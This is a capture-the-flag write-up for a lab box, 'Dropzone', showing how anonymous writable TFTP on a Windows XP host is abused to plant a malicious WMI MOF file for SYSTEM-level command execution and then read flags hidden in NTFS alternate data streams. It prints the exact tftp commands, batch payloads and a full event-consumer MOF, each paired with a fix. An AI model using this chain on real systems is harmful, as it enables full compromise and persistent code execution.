Dropzone
Summary
Initial recon (nmap -sU --script tftp-enum) found only UDP/69 (TFTP) open, responding to tftp-enum. Reading boot.ini via anonymous TFTP GET confirmed the target as a legacy Windows XP-era host. A TFTP PUT/GET round-trip of a test file confirmed the TFTP root (C:\) was world-writable via anonymous TFTP — the core misconfiguration enabling the entire chain.
Directory/file probing via TFTP GET (testing candidate paths such as WINDOWS/win.ini, WINDOWS/system32/wbem/...) mapped the filesystem blind, and mofcomp.log (retrieved via TFTP) confirmed the WMI provider host auto-compiles any .mof file dropped into C:\WINDOWS\system32\wbem\mof\ (and its good/bad subfolders) — a well-known WMI feature abused for SYSTEM-level command execution: any __EventConsumer (CommandLineEventConsumer/ActiveScriptEventConsumer) MOF definition placed there is compiled and executed automatically by the WMI service running as SYSTEM.
Using Metasploit's wbem_exec.rb MOF templates as a reference, a custom .mof was crafted embedding an ActiveScriptEventConsumer/CommandLineEventConsumer to invoke a batch script (dz_probe.bat) and, subsequently, an msfvenom-generated windows/exec payload (CMD='cmd.exe /c C:\dz_probe.bat'). Writing this .mof via anonymous TFTP into the wbem/mof autocompile folder achieved arbitrary command execution as SYSTEM — foothold and privilege escalation in a single step (no separate privesc was required; the TFTP-write → WMI-MOF-autocompile primitive grants SYSTEM directly).
The flag files (Documents and Settings/Administrator/Desktop/flags/2 for the price of 1!.txt) stored their actual contents in NTFS Alternate Data Streams (ADS) rather than the visible file body (a deliberate misdirection — the plain file just contained a decoy string). Standard tftp/cmd redirection could not address ADS streams directly, so a custom C helper (adsenum.exe, using the Win32 BackupRead API) was written, cross-compiled, and delivered via the same WMI/TFTP execution primitive to enumerate and read the named streams, yielding user.txt and root.txt contents.
Result: SYSTEM/root-owned via TFTP-write + WMI MOF autocompile RCE. user_flag=[REDACTED: flag] root_flag=[REDACTED: flag]
Attack path — how the box was taken
Exact commands 1
nmap -sU -Pn -n --script tftp-enum -p69 $TARGETFixDisable or strictly lock down the TFTP serviceCritical
Exact commands 2
tftp $TARGET -m binary -c get boot.ini && cat boot.initftp $TARGET -m binary -c get WINDOWS/system32/wbem/logs/mofcomp.log && cat mofcomp.logFixDecommission or replace the end-of-life Windows XP operating systemCritical
Exact commands 2
echo probe > test.txt && tftp $TARGET -m binary -c put test.txttftp $TARGET -m binary -c get test.txt && cat test.txtFixDisable or strictly lock down the TFTP serviceCritical
Exact commands 4
printf '@echo off\r\nwhoami > C:\\dz_out.txt 2>&1\r\n' > dz_probe.bat && tftp $TARGET -m binary -c put dz_probe.batcat > evil.mof << 'MOFEOF'
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $F {
EventNamespace = "Root\\Cimv2";
Name = "filtDZ";
Query = "Select * From __InstanceModificationEvent Where TargetInstance Isa \"Win32_LocalTime\" And TargetInstance.Seconds = 5";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $C {
Name = "consDZ";
RunInteractively = false;
CommandLineTemplate = "cmd.exe /c C:\\dz_probe.bat";
};
instance of __FilterToConsumerBinding {
Consumer = $C;
Filter = $F;
};
MOFEOFtftp $TARGET -m binary -c put evil.mof WINDOWS/system32/wbem/mof/evil.mofsleep 10 && tftp $TARGET -m binary -c get dz_out.txt && cat dz_out.txtFixRestrict write access to the WMI MOF autocompile directoryCritical
Exact commands 2
printf '@echo off\r\ndir "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\" > C:\\dir_out.txt 2>&1\r\ntype "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\2 for the price of 1!.txt" >> C:\\dir_out.txt 2>&1\r\n' > list_flags.bat && tftp $TARGET -m binary -c put list_flags.batsleep 10 && tftp $TARGET -m binary -c get dir_out.txt && cat dir_out.txtExact commands 4
i686-w64-mingw32-gcc -o adsenum.exe adsenum.ctftp $TARGET -m binary -c put adsenum.exeprintf '@echo off\r\nC:\\adsenum.exe "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\2 for the price of 1!.txt" > C:\\ads_out.txt 2>&1\r\n' > run_ads.bat && tftp $TARGET -m binary -c put run_ads.batsleep 10 && tftp $TARGET -m binary -c get ads_out.txt && cat ads_out.txtFindings
Exposed services
| 69/udp | tftp udp-response ttl 127 |